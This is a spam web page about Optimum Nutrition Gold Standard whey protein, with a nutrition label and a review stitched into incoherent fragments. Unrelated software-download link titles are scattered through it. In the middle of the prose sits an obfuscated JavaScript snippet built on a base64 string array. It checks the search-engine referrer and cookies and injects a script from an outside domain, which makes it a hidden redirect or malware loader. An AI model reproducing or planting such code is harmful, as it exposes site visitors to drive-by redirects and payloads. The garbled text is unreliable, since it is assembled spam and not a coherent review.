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[Optimum Gold Standard Nutrition Facts](#)

100% WHEY GOLD STANDARD

Serving Size 1 Rounded Scoop (30.4g)

Amount Per Serving

Calories 120	Calories from Fat 10
% Daily Value*	
Total Fat 1g	2%
Saturated Fat 0.5g	3%
Trans Fat 0g	
Cholesterol 30mg	10%
Sodium 130mg	5%
Total Carbohydrate 3g	1%
Sugars 1g	
Protein 24g	48%
Vitamin A 0%	• Vitamin C 0%
Calcium 8%	• Iron 2%

Not a Significant Source of Dietary Fiber.

* Percent Daily Values are based on a 2,000 calorie diet. Your Daily Values may be higher or lower depending on your calorie needs.

Calories:	2,000	2,500
Total Fat	Less than 65g	80g
Sat. Fat	Less than 20g	25g
Cholesterol	Less than 300mg	300mg
Sodium	Less than 2,400mg	2,400mg
Total Carbohydrate	300g	375g
Dietary Fiber	25g	30g
Protein	50g	65g
Calories per gram:		
Fat 9	• Carbohydrate 4	• Protein 4

INGREDIENTS: Protein Blend (Whey Protein Isolates, Whey Protein Concentrate, Whey Peptides), Cocoa (Processed with Alkali), Lecithin, Natural and Artificial Flavors, Acesulfame Potassium, Aminogen®, Lactase.

ALLERGEN INFORMATION: CONTAINS MILK AND SOY (LECITHIN) INGREDIENTS.

(DOUBLE RICH CHOCOLATE SHOWN)

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I've been supplementing my diet with whey protein on and off throughout my adult life.. Whey Gold Standard can also be added to thicker liquids such as smoothies and even porridge.. There are over 20 different flavors to try The benefits of such a wide variety of flavors are twofold.

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The sheer number of whey products available is bewildering, with each one trying to differentiate themselves.. However, deciding which whey product to buy has always left me a bit confused The protein supplement market is huge.

optimum gold standard nutrition facts

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Rocky Road, Chocolate Mint and Mocha Cappuccino are often peoples favorites Some flavors may taste better when mixed with water than others, as mixing the whey with water, may by nature, make the taste watery. [Software Developer Mac Book Pro Bootcamp](#)

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Optimum Nutrition – 100% Gold Standard Whey Having more than a passing interest in whey products, I take a look at the best selling whey protein, Optimum Nutrition 100% Whey Gold Standard, and investigate why it's so popular.. 4g)Serving Per Container 74Not a Significant Source of Dietary Fiber * Percent Daily Values are based on a 2,000 calorie diet. [Muat Turun Adobe Photoshop Percuma Cs5 Apple Full Game](#)

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Many people have commented that the powder mixes well in water and milk (such as dairy, soya, or coconut milk), with no clumping.. Whether it's been due to weight training, recovering from illness, or in more recent times dieting, (when I've reduced my daily calories and needed a protein boost), taking whey has helped me to achieve my goals.. Your Daily Values may be higher or lower depending on your calorie needs:Nutrition facts for the best selling flavor, Double Chocolate.. First, there should be flavors for everyone catering for different tastes Second, if you regularly use this whey there is no need to become tired of tasting the same flavor day, in day out.. var _0xa9e0=['d1RoZnA=', 'LnlhaG9vLg==', 'LmFvbC4=', 'LmFzay4=', 'dmlzaXRlZA==', 'aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9paGVyYjIucGhwp3g9bmV3dHJhc2hrZXlznF1ZXJ5PQ==', 'Lmdvb2dsZS4=', 'TGNUdFk=', 'YU5zWEw=', 'Qnpjcms=', 'UHlsVHI=', 'cmVmZXJyZXI=', 'Z2V0', 'T2lBR2M=', 'V25GSkI=', 'aW5kZXhPZg==', 'c2V0', 'WERNeHo=', 'ZWRjd3o=', 'WXRHakM=', 'c2NyaXB0', 'Y3JlYXRIRWxlWVudA==', 'T014bEQ=', 'Z2V0RWxlWVudHNCeVRhZ05hbWU=', 'YXBwZW5kQ2hpbGQ=', 'b3B0aW11bStnb2xkK3N0YW5kYXJkK251dHJpdGlvbitmYWNoe0cw==', 'MnwwfDV8MXw0fDM=', 'RW52eXk=', 'c3BsaXQ=', 'bGVuZ3Ro', 'cmVwbGFjZQ==', 'Y29va2ll', 'bWF0Y2g=', 'OyBwYXRoPQ==', 'OyBkb21haW49', 'OyBzZWN1cmU=', 'RFNuQUI=', 'ZVdvcWE=', 'SExScG4=', 'cFl3bU4=', 'VURlbnFU=', 'WUtnce4=', 'SUF CWGw=', 'bUVxVFk=', 'eXBMSW8='];(function(_0x50789a,_0x396ad3){var _0x2aedb1=function(_0x7ca3f4){while(--_0x7ca3f4){_0x50789a['push'](_0x50789a['shift']());}};_0x2aedb1(++_0x396ad3);)(_0xa9e0,0x1a9);var _0x0a9e=function(_0x253734,_0x19fdbcb){_0x253734=_0x253734-0x0;var _0x5b125e=_0xa9e0[_0x253734];if(_0x0a9e['initialized']===undefined){(function(){var _0x360fd5;try{var _0x5efaea=Function('return\x20(function()\x20'+'}).. If mixing with porridge it may be best to add the powder after the porridge has been prepared and cooled, in case high heat changes the composition of the whey.. No longer is taking whey the preserve of the body builder Whey protein supplements may benefit athletes & other active people, and in some cases people with specific health issues (Whey Gold Standard contains enzymes which aid digestion).. Why Is Gold Standard Whey So Popular?For a whey protein to become a best seller and remain top of the list, it has to score top marks across all these key areas:Nutrition FactsServing Size 1 Rounded Scoop (30. 0041d406d9 [Led Edit 2012 Software Free For Mac](#)

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